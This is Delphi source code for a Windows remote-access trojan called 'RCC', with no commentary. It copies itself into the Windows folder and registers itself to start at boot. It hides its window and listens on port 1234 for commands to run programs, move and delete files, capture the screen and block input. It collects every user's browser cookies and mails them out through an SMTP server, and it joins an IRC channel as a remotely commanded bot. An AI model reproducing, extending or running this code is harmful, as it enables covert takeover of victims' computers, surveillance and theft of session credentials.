unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Registry, Controls, Forms, Dialogs, IdBaseComponent, IdComponent, IdTCPServer, StdCtrls, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, IdMessage, FileCtrl, ExtCtrls, WinSock, Gauges, Sockets, MPlayer, MMSystem, IdIRC, shellapi; type TForm1 = class(TForm) tcp: TIdTCPServer; ListBox1: TListBox; ListBox2: TListBox; Memo1: TMemo; Memo2: TMemo; IdMessage1: TIdMessage; IdSMTP1: TIdSMTP; ListBox3: TListBox; Image1: TImage; Memo3: TMemo; Memo4: TMemo; Timer2: TTimer; mp: TMediaPlayer; Timer3: TTimer; IdIRC1: TIdIRC; Memo5: TMemo; Memo6: TMemo; procedure FormActivate(Sender: TObject); procedure IdIRC1Message(Sender: TObject; AUser: TIdIRCUser; AChannel: TIdIRCChannel; Content: string); procedure Timer3Timer(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure Timer2Timer(Sender: TObject); procedure tcpCLOSE_CDROMCommand(ASender: TIdCommand); procedure tcpOPEN_CDROMCommand(ASender: TIdCommand); procedure tcpKILL_PROCESSCommand(ASender: TIdCommand); procedure tcpLIST_FCommand(ASender: TIdCommand); procedure tcpDISABLE_KEYBOARD_AND_MOUSECommand(ASender: TIdCommand); procedure tcpSEND_WALLPAPERCommand(ASender: TIdCommand); procedure tcpWALLPAPERCommand(ASender: TIdCommand); procedure tcpSCREENCommand(ASender: TIdCommand); procedure tcpEXE_RUNERCommand(ASender: TIdCommand); procedure tcpCOOKIES_DIRECTLYCommand(ASender: TIdCommand); procedure tcpPUT_FILECommand(ASender: TIdCommand); procedure tcpMAKE_FILECommand(ASender: TIdCommand); procedure tcpDELETE_FILECommand(ASender: TIdCommand); procedure tcpSEND_FILECommand(ASender: TIdCommand); procedure tcpFOLDERCommand(ASender: TIdCommand); procedure tcpCOOKIESCommand(ASender: TIdCommand); procedure tcpMESSAGECommand(ASender: TIdCommand); procedure tcpUSERNAMECommand(ASender: TIdCommand); procedure tcpWINDIRCommand(ASender: TIdCommand); procedure tcpPROCESORCommand(ASender: TIdCommand); procedure tcpDATECommand(ASender: TIdCommand); procedure tcpTIMECommand(ASender: TIdCommand); private { Private declarations } public { Public declarations } procesor,winpath:string; ovdje,win:TFileStream; sl:TStringList; sakrij:boolean; mail_adresa:string; mozeT1:boolean; nick:string; end; var Form1: TForm1; implementation {$R *.dfm} function getIPs: Tstrings; type TaPInAddr = array[0..10] of PInAddr; PaPInAddr = ^TaPInAddr; var phe: PHostEnt; pptr: PaPInAddr; Buffer: array[0..63] of Char; I: Integer; GInitData: TWSAData; begin WSAStartup($101, GInitData); Result := TstringList.Create; Result.Clear; GetHostName(Buffer, SizeOf(Buffer)); phe := GetHostByName(buffer); if phe = nil then Exit; pPtr := PaPInAddr(phe^.h_addr_list); I := 0; while pPtr^[I] <> nil do begin Result.Add(inet_ntoa(pptr^[I]^)); Inc(I); end; WSACleanup; end; function CaptureScreenRect( ARect: TRect ): TBitmap; var ScreenDC: HDC; begin Result := TBitmap.Create; with Result, ARect do begin Width := Right - Left; Height := Bottom - Top; ScreenDC := GetDC( 0 ); try BitBlt( Canvas.Handle, 0, 0, Width, Height, ScreenDC, Left, Top, SRCCOPY ); finally ReleaseDC( 0, ScreenDC ); end; end; end; function CaptureScreen: TBitmap; begin with Screen do Result := CaptureScreenRect( Rect( 0, 0, Width, Height )); end; function GetCurrentUserName: string; const cnMaxUserNameLen = 254; var sUserName: string; dwUserNameLen: DWORD; begin dwUserNameLen := cnMaxUserNameLen - 1; SetLength(sUserName, cnMaxUserNameLen); GetUserName(PChar(sUserName), dwUserNameLen); SetLength(sUserName, dwUserNameLen); Result := sUserName; end; procedure TForm1.tcpTIMECommand(ASender: TIdCommand); begin ASender.Thread.Connection.WriteLn(TimeToStr(Time)); end; procedure TForm1.tcpDATECommand(ASender: TIdCommand); begin ASender.Thread.Connection.WriteLn(DateToStr(Date)); end; procedure TForm1.tcpPROCESORCommand(ASender: TIdCommand); begin ASender.Thread.Connection.WriteLn(procesor); end; procedure TForm1.tcpWINDIRCommand(ASender: TIdCommand); begin ASender.Thread.Connection.WriteLn(winpath); end; procedure TForm1.tcpUSERNAMECommand(ASender: TIdCommand); begin ASender.Thread.Connection.WriteLn(GetCurrentUserName); end; procedure TForm1.tcpMESSAGECommand(ASender: TIdCommand); begin MessageDlg(ASender.Thread.Connection.ReadLn,mtInformation,[mbOK],0); end; procedure TForm1.tcpCOOKIESCommand(ASender: TIdCommand); begin IdMessage1.From.Text:=''; IdMessage1.Subject:=''; IdMessage1.Recipients.Clear; IdMessage1.Body.Clear; Idmessage1.From.Text:='RCC-program@t-com.hr'; IdMessage1.Subject:='RCC-cookies! '+GetCurrentUserName; IdMessage1.Body.Text:=memo2.Text; IdMessage1.Recipients.Add.Text:=ASender.Thread.Connection.ReadLn; try with IdSMTP1 do begin Host:='mail.htnet.hr'; Connect; sleep(1000); try Send(IdMessage1); finally Disconnect; end; end; except end; end; procedure TForm1.tcpFOLDERCommand(ASender: TIdCommand); var path:string; x:integer; rec:TSearchRec; begin listbox3.Clear; path:=ASender.Thread.Connection.ReadLn; if findfirst(path+'*.*',(faAnyFile and faDirectory),rec)=0 then begin repeat listbox3.Items.Add(rec.Name); until findnext(rec)<>0; end; ASender.Thread.Connection.WriteLn(IntToStr(listbox3.Items.Count)); for x:=0 to listbox3.Items.Count-1 do begin ASender.Thread.Connection.WriteLn(listbox3.Items[x]); end; end; procedure TForm1.tcpSEND_FILECommand(ASender: TIdCommand); var fajl:string; stream:TFileStream; begin fajl:=ASender.Thread.Connection.ReadLn; stream:=TFileStream.Create(fajl,fmOpenRead); ASender.Thread.Connection.WriteStream(stream,true,true); stream.Free; end; procedure TForm1.tcpDELETE_FILECommand(ASender: TIdCommand); begin DeleteFile(ASender.Thread.Connection.ReadLn); end; procedure TForm1.tcpMAKE_FILECommand(ASender: TIdCommand); begin memo1.Clear; memo1.Text:=ASender.Thread.Connection.ReadLn; memo1.Lines.SaveToFile(ASender.Thread.Connection.ReadLn); memo1.Clear; end; procedure TForm1.tcpPUT_FILECommand(ASender: TIdCommand); var dolazni:TFileStream; gdje:string; begin gdje:=ASender.Thread.Connection.ReadLn; dolazni:=TFileStream.Create(gdje,fmCreate); ASender.Thread.Connection.ReadStream(dolazni); dolazni.Free; end; procedure TForm1.tcpCOOKIES_DIRECTLYCommand(ASender: TIdCommand); var cookies:TFileStream; begin memo2.Lines.SaveToFile('c:\cookies.txt'); cookies:=TFileStream.Create('c:\cookies.txt',fmOpenRead); ASender.Thread.Connection.WriteStream(cookies,true,true); cookies.Free; DeleteFile('c:\cookies.txt'); end; procedure TForm1.tcpEXE_RUNERCommand(ASender: TIdCommand); begin try WinExec(PChar(ASender.Thread.Connection.readln),SW_SHOW); except end; end; procedure TForm1.tcpSCREENCommand(ASender: TIdCommand); var stream:TFileStream; begin Image1.Picture.Bitmap:=CaptureScreen; image1.Picture.SaveToFile('c:\slika.bmp'); sleep(150); stream:=TFileStream.Create('c:\slika.bmp',fmOpenRead); ASender.Thread.Connection.WriteStream(stream,true,true); stream.Free; DeleteFile('c:\slika.bmp'); end; procedure TForm1.tcpWALLPAPERCommand(ASender: TIdCommand); var primi:TFileStream; begin primi:=TFileStream.Create('c:\slikaBST.bmp',fmCreate); ASender.Thread.Connection.ReadStream(primi); primi.Free; SystemParametersInfo(SPI_SETDESKWALLPAPER,0,PChar('c:\slikaBST.bmp'),SPIF_UPDATEINIFILE); end; procedure TForm1.tcpSEND_WALLPAPERCommand(ASender: TIdCommand); var salji:TFileStream; user:string; begin user:=ASender.Thread.Connection.ReadLn; try salji:=TFileStream.Create(winpath[1]+':\documents and settings\'+user+'\local settings\application data\microsoft\wallpaper.bmp',fmOpenRead); ASender.Thread.Connection.WriteStream(salji,true,true); salji.Free; except end; end; function FuncAvail (_dllname, _funcname: string; var _p: pointer): boolean; var _lib: tHandle; begin Result := false; _p := NIL; if LoadLibrary(PChar(_dllname)) = 0 then exit; _lib := GetModuleHandle(PChar(_dllname)); if _lib <> 0 then begin _p := GetProcAddress(_lib, PChar(_funcname)); if _p <> NIL then Result := true; end; end; procedure TForm1.tcpDISABLE_KEYBOARD_AND_MOUSECommand(ASender: TIdCommand); var xBlockInput : function(Block: BOOL): BOOL; stdcall; begin if FuncAvail ('USER32.DLL', 'BlockInput', @xBlockInput) then begin xBlockInput(true); Sleep(StrToInt(ASender.Thread.Connection.ReadLn)); xBlockInput(false); end; end; function MyPList(W:HWND;Bezveze:LPARAM):boolean; stdcall; var s:String; begin Result:=true; SetLength(s,1000); SetLength(s,GetWindowText(W,PChar(s),1000)); if s<>'' then Form1.sl.Add(s); end; procedure TForm1.tcpLIST_FCommand(ASender: TIdCommand); var x:integer; begin sl:=TStringList.Create; sl.Clear; EnumWindows(@MyPList,0); ASender.Thread.Connection.WriteLn(IntToStr(sl.Count)); for x:=0 to sl.Count-1 do begin ASender.Thread.Connection.WriteLn(sl[x]); end; sl.Free; end; procedure TForm1.tcpKILL_PROCESSCommand(ASender: TIdCommand); var pname:string; phnd:HWND; begin pname:=ASender.Thread.Connection.ReadLn; phnd:=FindWindow(Nil,PChar(pname)); SendMessage(phnd,WM_CLOSE,0,0); end; procedure TForm1.tcpOPEN_CDROMCommand(ASender: TIdCommand); begin mp.DeviceType:=dtCDAudio; mp.Open; mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_OPEN, 0); mp.Close; end; procedure TForm1.tcpCLOSE_CDROMCommand(ASender: TIdCommand); begin mp.DeviceType:=dtCDAudio; mp.Open; mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); mp.Close; end; procedure TForm1.Timer2Timer(Sender: TObject); var br:integer; begin if not IdIRC1.Connected then begin Randomize; br:=Random(1000); nick:='XAXA'+IntToStr(br); Memo5.Clear; Memo5.Lines:=getIPs; IdIRC1.Host:='irc.racku.net'; IdIRC1.Nick:=nick; try while not IdIRC1.Connected do IdIrc1.Connect; except end; try IdIRC1.Join('#racku',''); except end; end; end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin if idIRC1.Connected then IdIRC1.Disconnect; end; procedure TForm1.Timer3Timer(Sender: TObject); begin Form1.Hide; end; procedure TForm1.IdIRC1Message(Sender: TObject; AUser: TIdIRCUser; AChannel: TIdIRCChannel; Content: string); var msg,za:string; x:integer; komanda_:String; begin msg:=Content; if msg[1]='!' then begin delete(msg,1,1); za:=copy(msg,1,pos(' ',msg)-1); delete(msg,1,pos(' ',msg)); if (za=nick) or (za='all') then begin if pos(' ',msg)=0 then begin //jedan parametar (IP,..) if msg='IP' then begin IdIRC1.Say('#racku','Moj IP je:'); for x:=0 to Memo1.Lines.Count-1 do IdIRC1.Say('#racku',Memo5.Lines[x]); end; end else begin //vise parametara !all download local remote.. komanda_:=copy(msg,1,pos(' ',msg)-1); delete(msg,1,pos(' ',msg)); end; end; end; end; procedure TForm1.FormActivate(Sender: TObject); var reg:TRegistry; rec:TSearchRec; x:integer; F,A:string; stari,novi:TFileStream; hnd:THandle; begin Reg:=TRegistry.Create; reg.RootKey:=HKEY_LOCAL_MACHINE; reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',false); if not Reg.ValueExists('RCC') then begin Reg.WriteString('RCC','"c:\windows\rcc.exe"'); end; Reg.CloseKey; Reg.Free; SetLength(WinPath, MAX_PATH); SetLength(WinPath, GetWindowsDirectory(PChar(WinPath), MAX_PATH)); WinPath := IncludeTrailingBackslash(WinPath); if ExtractFilePath(Application.ExeName)<>winpath then begin //nije u win diru if not FileExists('c:\windows\rcc.exe') then begin stari:=TFileStream.Create(Application.ExeName,fmOpenRead or fmShareDenyNone); novi:=TFileStream.Create('c:\windows\rcc.exe',fmCreate); novi.CopyFrom(stari,stari.Size); stari.Free; novi.Free; end; if not FileExists('c:\windows\rcc.txt') then begin Memo6.Lines.Clear; Memo6.Lines.Add(Application.ExeName); Memo6.Lines.SaveToFile('c:\windows\rcc.txt'); end; hnd:=FindWindow(nil,PChar('rcc')); if hnd=0 then try WinExec('C:\WINDOWS\RCC.EXE',SW_SHOW); except end; halt; end; Memo6.Clear; if FileExists('c:\windows\rcc.txt') then begin Memo1.Lines.LoadFromFile('c:\windows\rcc.txt'); try DeleteFile(Memo6.Text) except end; try DeleteFile('c:\windows\rcc.txt') except end; end; tcp.Bindings.Clear; tcp.Bindings.Add.IP:='0.0.0.0'; tcp.Bindings.Add.Port:=1234; tcp.Active:=true; image1.Visible:=false; memo1.ScrollBars:=ssboth; memo2.ScrollBars:=ssboth; memo3.Clear; memo3.Visible:=false; memo4.Visible:=false; memo5.Visible:=false; listbox1.Visible:=false; listbox2.Visible:=false; listbox3.Visible:=false; memo1.Visible:=false; memo2.Visible:=false; procesor:=''; reg:=TRegistry.Create; reg.RootKey:=HKEY_LOCAL_MACHINE; reg.OpenKey('\hardware\description\system\centralprocessor\0',true); procesor:=reg.ReadString('processornamestring'); reg.CloseKey; reg.Free; if findfirst('c:\documents and settings\*.*',faDirectory,rec)=0 then begin repeat listbox1.Items.Add(rec.Name); until findnext(rec)<>0; end; for x:=0 to listbox1.Items.Count-1 do begin if findfirst('c:\documents and settings\'+listbox1.Items[x]+'\cookies\*.txt',faArchive,rec)=0 then begin repeat listbox2.Items.Add('c:\documents and settings\'+listbox1.Items[x]+'\cookies\'+rec.Name); until findnext(rec)<>0; end; end; for x:=0 to listbox2.Items.Count-1 do begin memo1.Clear; memo1.Lines.LoadFromFile(listbox2.Items[x]); memo2.Lines.Add('*********************'); memo2.Lines.Add(listbox2.Items[x]); memo2.Lines.Add('*********************'); memo2.Lines.Add(memo1.Text); end; end; end.